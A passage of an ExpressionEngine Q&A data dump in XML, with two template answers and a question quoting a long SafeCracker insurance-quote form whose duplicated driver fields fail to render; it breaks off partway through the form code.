  <row Id="3550" PostTypeId="2" ParentId="3548" CreationDate="2013-01-10T14:08:59.443" Score="-2" Body="&lt;p&gt;Your H1 tags need to be inside the conditional:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_1 == ''}&amp;lt;h1&amp;gt;{segment_1} - case 1&amp;lt;/h1&amp;gt;{/if}&#xA;{if segment_1 == 'foo'}&amp;lt;h1&amp;gt;{segment_1} - case 2&amp;lt;/h1&amp;gt;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="188" LastActivityDate="2013-01-10T14:08:59.443" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3551" PostTypeId="2" ParentId="3521" CreationDate="2013-01-10T14:36:14.960" Score="2" Body="&lt;p&gt;Ended up solving this a different way. I stashed the IDs for each relationship and then did a regex match with switchee:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- Store the ids for the playa company relationships --}&#xA;{exp:stash:set name=&quot;board_memberships_ids&quot; parse_tags=&quot;yes&quot;}&#xA;    ,{employee_board_memberships:child_ids delimiter=&quot;,&quot;},&#xA;{/exp:stash:set}&#xA;&#xA;{exp:stash:set name=&quot;investments_ids&quot; parse_tags=&quot;yes&quot;}&#xA;    ,{employee_investments:child_ids delimiter=&quot;,&quot;},&#xA;{/exp:stash:set}&#xA;&#xA;{!-- Set the related companies list --}&#xA;{exp:playa:children field=&quot;employee_board_memberships|employee_investments&quot;}&#xA;    {exp:stash:append_list name=&quot;employees_companies&quot; parse_tags=&quot;yes&quot;}&#xA;        {stash:item_class}&#xA;            {switchee variable=&quot;stash:board_memberships_ids&quot; parse=&quot;inward&quot;}&#xA;                {case value=&quot;#,{entry_id},#&quot;}board-members{/case}&#xA;            {/switchee}&#xA;&#xA;            {switchee variable=&quot;stash:investments_ids&quot; parse=&quot;inward&quot;}&#xA;                {case value=&quot;#,{entry_id},#&quot;}investments{/case}&#xA;            {/switchee}&#xA;&#xA;            {if company_investment_stage == &quot;public&quot;}ipos{/if}&#xA;&#xA;            {if company_investment_stage == &quot;acquired-merged&quot;}acquisitions{/if}&#xA;         {/stash:item_class}&#xA;        {stash:item_sort}{title}{/stash:item_sort}&#xA;        {stash:item_content}&#xA;            &amp;lt;a href=&quot;/portfolio/{url_title}&quot; class=&quot;modal-trigger&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&#xA;        {/stash:item_content}&#xA;    {/exp:stash:append_list}&#xA;{/exp:playa:children}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14" LastActivityDate="2013-01-10T14:36:14.960" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3552" PostTypeId="1" CreationDate="2013-01-10T15:13:32.560" Score="1" ViewCount="310" Body="&lt;p&gt;I am having an issue with a long safecracker form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The form requires several fields that collect the same information for multiple people.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, there are fields like first name, last name, age, etc and those are duplicated for up to 4 people.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have created separate channel fields for each and appended an underscore and a number to the field's short name (i.e. first_name, first_name_2, first_name_3, etc).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem I am running into is that the fields seem to be conflicting with each other even though they are named something totally different.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It causes all of the fields that appear first in the form (i.e. first_name) to not render and the page just displays the EE field tags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems to only effect select drop down, radio button and checkbox fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not using the custom_fields loop, but am using options:my_field_name for each field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts on why this might be happening?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the code. I have cut it down quite a but, but sorry for the length. The section that starts with the header Driver 2 shows the duplicate fields. I have stripped out the Driver 3 &amp;amp; Driver 4 sections to shorten the code length, but when those are added in, it compounds the issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything in the Primary Driver Info section works fine, until the Additional Driver sections are added in.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:safecracker channel=&quot;auto_requests&quot; author_only=&quot;yes&quot; url_title=&quot;{segment_3}&quot; include_jquery=&quot;no&quot; safecracker_head=&quot;no&quot; preserve_checkboxes=&quot;yes&quot; return=&quot;customer/request-thanks&quot; class=&quot;request-form&quot; id=&quot;request-form&quot; }&#xA;&#xA;    &amp;lt;section class=&quot;step-1&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;col-1-1&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;cell shadow-box bg-orange-light&quot;&amp;gt;&#xA;                    &amp;lt;h4&amp;gt;Primary Driver Info&amp;lt;/h4&amp;gt;&#xA;                    &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;                        &amp;lt;div class=&quot;col-1-2&quot;&amp;gt;&#xA;                            &amp;lt;p&amp;gt;&#xA;                                &amp;lt;label for=&quot;auto_first_name&quot;&amp;gt;First Name&amp;lt;/label&amp;gt;&#xA;                                &amp;lt;input type=&quot;text&quot; id=&quot;auto_first_name&quot; name=&quot;auto_first_name&quot; value=&quot;{auto_first_name}&quot;&amp;gt;&#xA;                            &amp;lt;/p&amp;gt;&#xA;                            &amp;lt;p&amp;gt;&#xA;                                &amp;lt;label for=&quot;auto_last_name&quot;&amp;gt;Last Name&amp;lt;/label&amp;gt;&#xA;                                &amp;lt;input type=&quot;text&quot; id=&quot;auto_last_name&quot; name=&quot;auto_last_name&quot; value=&quot;{auto_last_name}&quot;&amp;gt;&#xA;                            &amp;lt;/p&amp;gt;&#xA;                            &amp;lt;p&amp;gt;&#xA;                                &amp;lt;div class=&quot;row margin-none pad-none&quot;&amp;gt;&#xA;                                    &amp;lt;div class=&quot;col-1-2 collapse-none pad-none pad-right&quot;&amp;gt;&#xA;                                        &amp;lt;label for=&quot;auto_middle_initial&quot;&amp;gt;Middle Initial&amp;lt;/label&amp;gt;&#xA;                                        &amp;lt;input type=&quot;text&quot; id=&quot;auto_middle_initial&quot; name=&quot;auto_middle_initial&quot; value=&quot;{auto_middle_initial}&quot;&amp;gt;&#xA;                                    &amp;lt;/div&amp;gt;&#xA;                                    &amp;lt;div class=&quot;col-1-2 collapse-none pad-none pad-left&quot;&amp;gt;&#xA;                                        &amp;lt;label for=&quot;auto_age&quot;&amp;gt;Age&amp;lt;/label&amp;gt;&#xA;                                        &amp;lt;select id=&quot;auto_age&quot; name=&quot;auto_age&quot;&amp;gt;&#xA;                                            &amp;lt;option value=&quot;&quot;&amp;gt;Select One&amp;lt;/option&amp;gt;&#xA;                                            {options:auto_age}&#xA;                                            &amp;lt;option value=&quot;{option_value}&quot;{selected}&amp;gt;{option_name}&amp;lt;/option&amp;gt;&#xA;                                            {/options:auto_age}&#xA;                                        &amp;lt;/select&amp;gt;&#xA;                                    &amp;lt;/div&amp;gt;&#xA;                                &amp;lt;/div&amp;gt;&#xA;                            &amp;lt;/p&amp;gt;&#xA;                            &amp;lt;p&amp;gt;&#xA;                                &amp;lt;div class=&quot;row margin-none pad-none&quot;&amp;gt;&#xA;                                    &amp;lt;div class=&quot;col-1-2 collapse-none pad-none pad-right&quot;&amp;gt;&#xA;                                        &amp;lt;label for=&quot;auto_gender&quot;&amp;gt;Gender&amp;lt;/label&amp;gt;&#xA;                                        {options:auto_gender}&#xA;                                        &amp;lt;span class=&quot;inline-block pad-right&quot;&amp;gt;&#xA;                                            &amp;lt;input type=&quot;radio&quot; id=&quot;auto_gender_{option_name}&quot; name=&quot;auto_gender&quot; value=&quot;{option_value}&quot;{checked}&amp;gt;&#xA;                                            &amp;lt;label for=&quot;auto_gender_{option_name}&quot;&amp;gt;{option_name}&amp;lt;/label&amp;gt;&#xA;                                        &amp;lt;/span&amp;gt;&#xA;                                        {/options:auto_gender}&#xA;                                    &amp;lt;/div&amp;gt;&#xA;                                    &amp;lt;div class=&quot;col-1-2 collapse-none pad-none pad-left&quot;&amp;gt;&#xA;                                        &amp;lt;label for=&quot;auto_marital_status&quot;&amp;gt;Marital Status&amp;lt;/label&amp;gt;&#xA;                                        &amp;lt;select id=&quot;auto_marital_status&quot; name=&quot;auto_marital_status&quot;&amp;gt;&#xA;                                            &amp;lt;option value=&quot;&quot;&amp;gt;Select One&amp;lt;/option&amp;gt;&#xA;                                            {options:auto_marital_status}&#xA;                                            &amp;lt;option value=&quot;{option_value}&quot;{selected}&amp;gt;{option_name}&amp;lt;/option&amp;gt;&#xA;                                            {/options:auto_marital_status}&#xA;                                        &amp;lt;/select&amp;gt;&#xA;                                    &amp;lt;/div&amp;gt;&#xA;                                &amp;lt;/div&amp;gt;&#xA;                            &amp;lt;/p&amp;gt;&#xA;                            &amp;lt;p&amp;gt;&#xA;                                &amp;lt;div class=&quot;row margin-none pad-none&quot;&amp;gt;&#xA;                                    &amp;lt;div class=&quot;col-1-2 collapse-none pad-none pad-right&quot;&amp;gt;&#xA;                                        &amp;lt;label for=&quot;auto_dl&quot;&amp;gt;Driver's License Number&amp;lt;/label&amp;gt;&#xA;                                        {field:auto_dl}&#xA;                                    &amp;lt;/div&amp;gt;&#xA;                                    &amp;lt;div class=&quot;col-1-2 collapse-none pad-none pad-left&quot;&amp;gt;&#xA;                                        &amp;lt;label for=&quot;auto_dl_state&quot;&amp;gt;Driver's License State&amp;lt;/label&amp;gt;&#xA;                                        &amp;lt;select id=&quot;auto_dl_state&quot; name=&quot;auto_dl_state&quot;&amp;gt;&#xA;                                            &amp;lt;option value=&quot;&quot;&amp;gt;Select One&amp;lt;/option&amp;gt;&#xA;                                            {options:auto_dl_state}&#xA;                                            &amp;lt;option value=&quot;{option_value}&quot;{selected}&amp;gt;{option_name}&amp;lt;/option&amp;gt;&#xA;                                            {/options:auto_dl_state}&#xA;                                        &amp;lt;/select&amp;gt;&#xA;                                    &amp;lt;/div&amp;gt;&#xA;                                &amp;lt;/div&amp;gt;&#xA;                            &amp;lt;/p&amp;gt;&#xA;                            &amp;lt;p&amp;gt;&#xA;                                &amp;lt;label for=&quot;auto_valid_license&quot;&amp;gt;Is your license currently valid?&amp;lt;/label&amp;gt;&#xA;                                {options:auto_valid_license}&#xA;                                &amp;lt;span class=&quot;inline-block pad-right&quot;&amp;gt;&#xA;                                    &amp;lt;input type=&quot;radio&quot; id=&quot;auto_valid_license_{option_name}&quot; name=&quot;auto_valid_license&quot; value=&quot;{option_value}&quot;{checked}&amp;gt;&#xA;                                    &amp;lt;label for=&quot;auto_valid_license_{option_name}&quot;&amp;gt;{option_name}&amp;lt;/label&amp;gt;&#xA;                                &amp;lt;/span&amp;gt;&#xA;                                {/options:auto_valid_license}&#xA;                            &amp;lt;/p&amp;gt;&#xA;                            &amp;lt;p&amp;gt;&#xA;                                &amp;lt;label for=&quot;auto_ss&quot;&amp;gt;Social Security Number&amp;lt;/label&amp;gt;&#xA;                                {field:auto_ss}&#xA;                            &amp;lt;/p&amp;gt;&#xA;                            &amp;lt;p&amp;gt;&#xA;                                &amp;lt;label for=&quot;auto_address&quot;&amp;gt;Street Address&amp;lt;/label&amp;gt;&#xA;                                &amp;lt;input type=&quot;text&quot; id=&quot;auto_address&quot; name=&quot;auto_address&quot; value=&quot;{auto_address}&quot;&amp;gt;&#xA;                            &amp;lt;/p&amp;gt;&#xA;                            &amp;lt;p&amp;gt;&#xA;                                &amp;lt;label for=&quot;auto_city&quot;&amp;gt;City&amp;lt;/label&amp;gt;&#xA;                                &amp;lt;input type=&quot;text&quot; id=&quot;auto_city&quot; name=&quot;auto_city&quot; value=&quot;{auto_city}&quot;&amp;gt;&#xA;                            &amp;lt;/p&amp;gt;&#xA;                            &amp;lt;p&amp;gt;&#xA;                                &amp;lt;div class=&quot;row margin-none pad-none&quot;&amp;gt;&#xA;                                    &amp;lt;div class=&quot;col-1-2 collapse-none pad-none pad-right&quot;&amp;gt;&#xA;                                        &amp;lt;label for=&quot;auto_state&quot;&amp;gt;State&amp;lt;/label&amp;gt;&#xA;                                        &amp;lt;select id=&quot;auto_state&quot; name=&quot;auto_state&quot;&amp;gt;&#xA;                                            &amp;lt;option value=&quot;&quot;&amp;gt;Select One&amp;lt;/option&amp;gt;&#xA;                                            {options:auto_state}&#xA;                                            &amp;lt;option value=&quot;{option_value}&quot;{selected}&amp;gt;{option_name}&amp;lt;/option&amp;gt;&#xA;                                            {/options:auto_state}&#xA;                                        &amp;lt;/select&amp;gt;&#xA;                                    &amp;lt;/div&amp;gt;&#xA;                                    &amp;lt;div class=&quot;col-1-2 collapse-none pad-none pad-left&quot;&amp;gt;&#xA;                                        &amp;lt;label for=&quot;auto_zip&quot;&amp;gt;Zip&amp;lt;/label&amp;gt;&#xA;                                        &amp;lt;input type=&quot;text&quot; id=&quot;auto_zip&quot; name=&quot;auto_zip&quot; value=&quot;{auto_zip}&quot;&amp;gt;&#xA;                                    &amp;lt;/div&amp;gt;&#xA;                                &amp;lt;/div&amp;gt;&#xA;                            &amp;lt;/p&amp;gt;&#xA;                            &amp;lt;p&amp;gt;&#xA;                                &amp;lt;label for=&quot;auto_phone&quot;&amp;gt;Phone&amp;lt;/label&amp;gt;&#xA;                                &amp;lt;input type=&quot;text&quot; id=&quot;auto_phone&quot; name=&quot;auto_phone&quot; value=&quot;{auto_phone}&quot;&amp;gt;&#xA;                            &amp;lt;/p&amp;gt;&#xA;                            &amp;lt;p&amp;gt;&#xA;                                &amp;lt;label for=&quot;auto_dependents&quot;&amp;gt;Do you have any dependents (children, dependent spouse, etc.)?&amp;lt;/label&amp;gt;&#xA;                                &amp;lt;select id=&quot;auto_dependents&quot; name=&quot;auto_dependents&quot;&amp;gt;&#xA;                                    &amp;lt;option value=&quot;&quot;&amp;gt;Select One&amp;lt;/option&amp;gt;&#xA;                                    {options:auto_dependents}&#xA;                                    &amp;lt;option value=&quot;{option_value}&quot;{selected}&amp;gt;{option_name}&amp;lt;/option&amp;gt;&#xA;                                    {/options:auto_dependents}&#xA;                                &amp;lt;/select&amp;gt;&#xA;                            &amp;lt;/p&amp;gt;&#xA;                            &amp;lt;p&amp;gt;&#xA;                                &amp;lt;label for=&quot;auto_residence&quot;&amp;gt;Do you lease or own your residence?&amp;lt;/label&amp;gt;&#xA;                                &amp;lt;select id=&quot;auto_residence&quot; name=&quot;auto_residence&quot;&amp;gt;&#xA;                                    &amp;lt;option value=&quot;&quot;&amp;gt;Select One&amp;lt;/option&amp;gt;&#xA;                                    {options:auto_residence}&#xA;                                    &amp;lt;option value=&quot;{option_value}&quot;{selected}&amp;gt;{option_name}&amp;lt;/option&amp;gt;&#xA;                                    {/options:auto_residence}&#xA;                                &amp;lt;/select&amp;gt;&#xA;                            &amp;lt;/p&amp;gt;&#xA;                            &amp;lt;p&amp;gt;&#xA;                                &amp;lt;label for=&quot;auto_education&quot;&amp;gt;What&amp;amp;rsquo;s the highest level of education you&amp;amp;rsquo;ve reached?&amp;lt;/label&amp;gt;&#xA;                                &amp;lt;select id=&quot;auto_education&quot; name=&quot;auto_education&quot;&amp;gt;&#xA;                                    &amp;lt;option value=&quot;&quot;&amp;gt;Select One&amp;lt;/option&amp;gt;&#xA;                                    {options:auto_education}&#xA;                                    &amp;lt;option value=&quot;{option_value}&quot;{selected}&amp;gt;{option_name}&amp;lt;/option&amp;gt;&#xA;                                    {/options:auto_education}&#xA;                                &amp;lt;/select&amp;gt;&#xA;                            &amp;lt;/p&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;                        &amp;lt;div class=&quot;col-1-2&quot;&amp;gt;&#xA;                            &amp;lt;p&amp;gt;&#xA;                                &amp;lt;label for=&quot;auto_career_status&quot;&amp;gt;What is your career status?&amp;lt;/label&amp;gt;&#xA;                                &amp;lt;select id=&quot;auto_career_status&quot; name=&quot;auto_career_status&quot;&amp;gt;&#xA;                                    &amp;lt;option value=&quot;&quot;&amp;gt;Select One&amp;lt;/option&amp;gt;&#xA;                                    {options:auto_career_status}&#xA;                                    &amp;lt;option value=&quot;{option_value}&quot;{selected}&amp;gt;{option_name}&amp;lt;/option&amp;gt;&#xA;                                    {/options:auto_career_status}&#xA;                                &amp;lt;/select&amp;gt;&#xA;                            &amp;lt;/p&amp;gt;&#xA;                            &amp;lt;p&amp;gt;&#xA;                                &amp;lt;label for=&quot;auto_income&quot;&amp;gt;What is your approximate total household Income?&amp;lt;/label&amp;gt;&#xA;                                &amp;lt;select id=&quot;auto_income&quot; name=&quot;auto_income&quot;&amp;gt;&#xA;                                    &amp;lt;option value=&quot;&quot;&amp;gt;Select One&amp;lt;/option&amp;gt;&#xA;                                    {options:auto_income}&#xA;                                    &amp;lt;option value=&quot;{option_value}&quot;{selected}&amp;gt;{option_name}&amp;lt;/option&amp;gt;&#xA;                                    {/options:auto_income}&#xA;                                &amp;lt;/select&amp;gt;&#xA;                            &amp;lt;/p&amp;gt;&#xA;                            &amp;lt;p&amp;gt;&#xA;                                &amp;lt;label for=&quot;auto_outstanding&quot;&amp;gt;Do you have any outstanding judgements, past due amounts, or have you ever filed for Bankruptcy?&amp;lt;/label&amp;gt;&#xA;                                {options:auto_outstanding}&#xA;                                &amp;lt;span class=&quot;inline-block pad-right&quot;&amp;gt;&#xA;                                    &amp;lt;input type=&quot;radio&quot; id=&quot;auto_outstanding_{option_name}&quot; name=&quot;auto_outstanding&quot; value=&quot;{option_value}&quot;{checked}&amp;gt;&#xA;                                    &amp;lt;label for=&quot;auto_outstanding_{option_name}&quot;&amp;gt;{option_name}&amp;lt;/label&amp;gt;&#xA;                                &amp;lt;/span&amp;gt;&#xA;                                {/options:auto_outstanding}&#xA;                            &amp;lt;/p&amp;gt;&#xA;                            &amp;lt;p&amp;gt;&#xA;                                &amp;lt;label for=&quot;auto_license_age&quot;&amp;gt;How old were you when you received your drivers license?&amp;lt;/label&amp;gt;&#xA;                                &amp;lt;select id=&quot;auto_license_age&quot; name=&quot;auto_license_age&quot;&amp;gt;&#xA;                                    &amp;lt;option value=&quot;&quot;&amp;gt;Select One&amp;lt;/option&amp;gt;&#xA;                                    {options:auto_license_age}&#xA;                                    &amp;lt;option value=&quot;{option_value}&quot;{selected}&amp;gt;{option_name}&amp;lt;/option&amp;gt;&#xA;                                    {/options:auto_license_age}&#xA;                                &amp;lt;/select&amp;gt;&#xA;                            &amp;lt;/p&amp;gt;&#xA;                            &amp;lt;p&amp;gt;&#xA;                                &amp;lt;label for=&quot;auto_minor_violations&quot;&amp;gt;Do you have any minor violations in the past 3 years? (i.e. speeding tickets, etc.?&amp;lt;/label&amp;gt;&#xA;                                {options:auto_minor_violations}&#xA;                                &amp;lt;span class=&quot;inline-block pad-right&quot;&amp;gt;&#xA;                                    &amp;lt;input type=&quot;radio&quot; id=&quot;auto_minor_violations_{option_name}&quot; name=&quot;auto_minor_violations&quot; value=&quot;{option_value}&quot;{checked}&amp;gt;&#xA;                                    &amp;lt;label for=&quot;auto_minor_violations_{option_name}&quot;&amp;gt;{option_name}&amp;lt;/label&amp;gt;&#xA;                                &amp;lt;/span&amp;gt;&#xA;                                {/options:auto_minor_violations}&#xA;                            &amp;lt;/p&amp;gt;&#xA;                            &amp;lt;p&amp;gt;&#xA;                                &amp;lt;label for=&quot;auto_accidents&quot;&amp;gt;Do you have any at fault accidents in the last 5 years?&amp;lt;/label&amp;gt;&#xA;                                {options:auto_accidents}&#xA;                                &amp;lt;span class=&quot;inline-block pad-right&quot;&amp;gt;&#xA;                                    &amp;lt;input type=&quot;radio&quot; id=&quot;auto_accidents_{option_name}&quot; name=&quot;auto_accidents&quot; value=&quot;{option_value}&quot;{checked}&amp;gt;&#xA;                                    &amp;lt;label for=&quot;auto_accidents_{option_name}&quot;&amp;gt;{option_name}&amp;lt;/label&amp;gt;&#xA;                                &amp;lt;/span&amp;gt;&#xA;                                {/options:auto_accidents}&#xA;                            &amp;lt;/p&amp;gt;&#xA;                            &amp;lt;p&amp;gt;&#xA;                                &amp;lt;label for=&quot;auto_major_violations&quot;&amp;gt;Do you have any major violations in the last 3 years (for example, DWI, etc.)?&amp;lt;/label&amp;gt;&#xA;                                {options:auto_major_violations}&#xA;                                &amp;lt;span class=&quot;inline-block pad-right&quot;&amp;gt;&#xA;                                    &amp;lt;input type=&quot;radio&quot; id=&quot;auto_major_violations_{option_name}&quot; name=&quot;auto_major_violations&quot; value=&quot;{option_value}&quot;{checked}&amp;gt;&#xA;                                    &amp;lt;label for=&quot;auto_major_violations_{option_name}&quot;&amp;gt;{option_name}&amp;lt;/label&amp;gt;&#xA;                                &amp;lt;/span&amp;gt;&#xA;                                {/options:auto_major_violations}&#xA;                            &amp;lt;/p&amp;gt;&#xA;                            &amp;lt;p&amp;gt;&#xA;                                &amp;lt;label for=&quot;auto_deductible&quot;&amp;gt;What deductible would you like?&amp;lt;/label&amp;gt;&#xA;                                &amp;lt;select id=&quot;auto_deductible&quot; name=&quot;auto_deductible&quot;&amp;gt;&#xA;                                    &amp;lt;option value=&quot;&quot;&amp;gt;Select One&amp;lt;/option&amp;gt;&#xA;                                    {options:auto_deductible}&#xA;                                    &amp;lt;option value=&quot;{option_value}&quot;{selected}&amp;gt;{option_name}&amp;lt;/option&amp;gt;&#xA;                                    {/options:auto_deductible}&#xA;                                &amp;lt;/select&amp;gt;&#xA;                            &amp;lt;/p&amp;gt;&#xA;                            &amp;lt;p&amp;gt;&#xA;                                &amp;lt;label for=&quot;auto_other_details&quot;&amp;gt;Please enter any other coverage details you would like included in your quote. For example, if you know your liability limits or other coverage details, enter them here.&amp;lt;/label&amp;gt;&#xA;                                &amp;lt;textarea id=&quot;auto_other_details&quot; name=&quot;auto_other_details&quot; rows=&quot;5&quot;&amp;gt;{auto_other_details}&amp;lt;/textarea&amp;gt;&#xA;                            &amp;lt;/p&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/section&amp;gt;&#xA;&#xA;    &amp;lt;section class=&quot;step-2 hidden&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;col-1-1&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;cell shadow-box bg-orange-light&quot;&amp;gt;&#xA;                    &amp;lt;h4&amp;gt;Additional Driver Info&amp;lt;/h4&amp;gt;&#xA;&#xA;                    &amp;lt;h4&amp;gt;Driver 2&amp;lt;/h4&amp;gt;&#xA;                    &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;                        &amp;lt;div class=&quot;col-1-2&quot;&amp;gt;&#xA;                            &amp;lt;p&amp;gt;&#xA;                                &amp;lt;label for=&quot;auto_first_name_2&quot;&amp;gt;First Name&amp;lt;/label&amp;gt;&#xA;                                &amp;lt;input type=&quot;text&quot; id=&quot;auto_first_name_2&quot; name=&quot;auto_first_name_2&quot; value=&quot;{auto_first_name_2}&quot;&amp;gt;&#xA;                            &amp;lt;/p&amp;gt;&#xA;                            &amp;lt;p&amp;gt;&#xA;                                &amp;lt;label for=&quot;auto_last_name_2&quot;&amp;gt;Last Name&amp;lt;/label&amp;gt;&#xA;                                &amp;lt;input type=&quot;text&quot; id=&quot;auto_last_name_2&quot; name=&quot;auto_last_name_2&quot; value=&quot;{auto_last_name_2}&quot;&amp;gt;&#xA;                            &amp;lt;/p&amp;gt;&#xA;                            &amp;lt;p&amp;gt;&#xA;                                &amp;lt;div class=&quot;row margin-none pad-none&quot;&amp;gt;&#xA;                                    &amp;lt;div class=&quot;col-1-2 collapse-none pad-none pad-right&quot;&amp;gt;&#xA;                                        &amp;lt;label for=&quot;auto_middle_initial_2&quot;&amp;gt;Middle Initial&amp;lt;/label&amp;gt;&#xA;                                        &amp;lt;input type=&quot;text&quot; id=&quot;auto_middle_initial_2&quot; name=&quot;auto_middle_initial_2&quot; value=&quot;{auto_middle_initial_2}&quot;&amp;gt;&#xA;                                    &amp;lt;/div&amp;gt;&#xA;                                    &amp;lt;div class=&quot;col-1-2 collapse-none pad-none pad-left&quot;&amp;gt;&#xA;                                        &amp;lt;label for=&quot;auto_age_2&quot;&amp;gt;Age&amp;lt;/label&amp;gt;&#xA;                                        &amp;lt;select id=&quot;auto_age_2&quot; name=&quot;auto_age_2&quot;&amp;gt;&#xA;                                            &amp;lt;option value=&quot;&quot;&amp;gt;Select One&amp;lt;/option&amp;gt;&#xA;                                            {options:auto_age_2}&#xA;                                            &amp;lt;option value=&quot;{option_value}&quot;{selected}&amp;gt;{option_name}&amp;lt;/option&amp;gt;&#xA;                                            {/options:auto_age_2}&#xA;                                        &amp;lt;/select&amp;gt;&#xA;                                    &amp;lt;/div&amp;gt;&#xA;                                &amp;lt;/div&amp;gt;&#xA;                            &amp;lt;/p&amp;gt;&#xA;                            &amp;lt;p&amp;gt;&#xA;                                &amp;lt;div class=&quot;row margin-none pad-none&quot;&amp;gt;&#xA;                                    &amp;lt;div class=&quot;col-1-2 collapse-none pad-none pad-right&quot;&amp;gt;&#xA;                                        &amp;lt;label for=&quot;auto_gender_2&quot;&amp;gt;Gender&amp;lt;/label&amp;gt;&#xA;                                        {options:auto_gender_2}&#xA;                                        &amp;lt;span class=&quot;inline-block pad-right&quot;&amp;gt;&#xA;                                            &amp;lt;input type=&quot;radio&quot; id=&quot;auto_gender_2_{option_name}&quot; name=&quot;auto_gender_2&quot; value=&quot;{option_value}&quot;{checked}&amp;gt;&#xA;                                            &amp;lt;label for=&quot;auto_gender_2_{option_name}&quot;&amp;gt;{option_name}&amp;lt;/label&amp;gt;&#xA;                                        &amp;lt;/span&amp;gt;&#xA;                                        {/options:auto_gender_2}&#xA;                                    &amp;lt;/div&amp;gt;&#xA;                                    &amp;lt;div class=&quot;col-1-2 collapse-none pad-none pad-left&quot;&amp;gt;&#xA;                                        &amp;lt;label for=&quot;auto_marital_status_2&quot;&amp;gt;Marital Status&amp;lt;/label&amp;gt;&#xA;                                        &amp;lt;select id=&quot;auto_marital_status_2&quot; name=&quot;auto_marital_status_2&quot;&amp;gt;&#xA;                                            &amp;lt;option value=&quot;&quot;&amp;gt;Select One&amp;lt;/option&amp;gt;&#xA;                                            {options:auto_marital_status_2}&#xA;                                            &amp;lt;option value=&quot;{option_value}&quot;{selected}&amp;gt;{option_name}&amp;lt;/option&amp;gt;&#xA;                                            {/options:auto_marital_status_2}&#xA;                                        &amp;lt;/select&amp;gt;&#xA;                                    &amp;lt;/div&amp;gt;&#xA;                                &amp;lt;/div&amp;gt;&#xA;                            &amp;lt;/p&amp;gt;&#xA;                            &amp;lt;p&amp;gt;&#xA;                                &amp;lt;label for=&quot;auto_relationship_to_primary_2&quot;&amp;gt;Relationship to Primary Applicant&amp;lt;/label&amp;gt;&#xA;                                &amp;lt;select id=&quot;auto_relationship_to_primary_2&quot; name=&quot;auto_relationship_to_primary_2&quot;&amp;gt;&#xA;                                    &amp;lt;option value=&quot;&quot;&amp;gt;Select One&amp;lt;/option&amp;gt;&#xA;                                    {options:auto_relationship_to_primary_2}&#xA;                                    &amp;lt;option value=&quot;{option_value}&quot;{selected}&amp;gt;{option_name}&amp;lt;/option&amp;gt;&#xA;                                    {/options:auto_relationship_to_primary_2}&#xA;                                &amp;lt;/select&amp;gt;&#xA;                            &amp;lt;/p&amp;gt;&#xA;                            &amp;lt;p&amp;gt;&#xA;                                &amp;lt;label for=&quot;auto_valid_license_2&quot;&amp;gt;Is this driver's license currently valid?&amp;lt;/label&amp;gt;&#xA;                                {options:auto_valid_license_2}&#xA;                                &amp;lt;span class=&quot;inline-block pad-right&quot;&amp;gt;&#xA;                                    &amp;lt;input type=&quot;radio&quot; id=&quot;auto_valid_license_2_{option_name}&quot; name=&quot;auto_valid_license_2&quot; value=&quot;{option_value}&quot;{checked}&amp;gt;&#xA;                                    &amp;lt;label for=&quot;auto_valid_license_2_{option_name}&quot;&amp;gt;{option_name}&amp;lt;/label&amp;gt;&#xA;                                &amp;lt;/span&amp;gt;&#xA;                                {/options:auto_valid_license_2}&#xA;                            &amp;lt;/p&amp;gt;&#xA;                            &amp;lt;p&amp;gt;&#xA;                                &amp;lt;label for=&quot;auto_education_2&quot;&amp;gt;What&amp;amp;rsquo;s the highest level of education reached for this driver?&amp;lt;/label&amp;gt;&#xA;                                &amp;lt;select id=&quot;auto_education_2&quot; name=&quot;auto_education_2&quot;&amp;gt;&#xA;                                    &amp;lt;option value=&quot;&quot;&amp;gt;Select One&amp;lt;/option&amp;gt;&#xA;                                    {options:auto_education_2}&#xA;                                    &amp;lt;option value=&quot;{option_value}&quot;{selected}&amp;gt;{option_name}&amp;lt;/option&amp;gt;&#xA;                                    {/options:auto_education_2}&#xA;                                &amp;lt;/select&amp;gt;&#xA;                            &amp;lt;/p&amp;gt;&#xA;                            &amp;lt;p&amp;gt;&#xA;                                &amp;lt;label for=&quot;auto_career_status_2&quot;&amp;gt;What is the career status of this driver?&amp;lt;/label&amp;gt;&#xA;                                &amp;lt;select id=&quot;auto_career_status_2&quot; name=&quot;auto_career_status_2&quot;&amp;gt;&#xA;                                    &amp;lt;option value=&quot;&quot;&amp;gt;Select One&amp;lt;/option&amp;gt;&#xA;                                    {options:auto_career_status_2}&#xA;                                    &amp;lt;option value=&quot;{option_value}&quot;{selected}&amp;gt;{option_name}&amp;lt;/option&amp;gt;&#xA;                                    {/options:auto_career_status_2}&#xA;                                &amp;lt;/select&amp;gt;&#xA;                  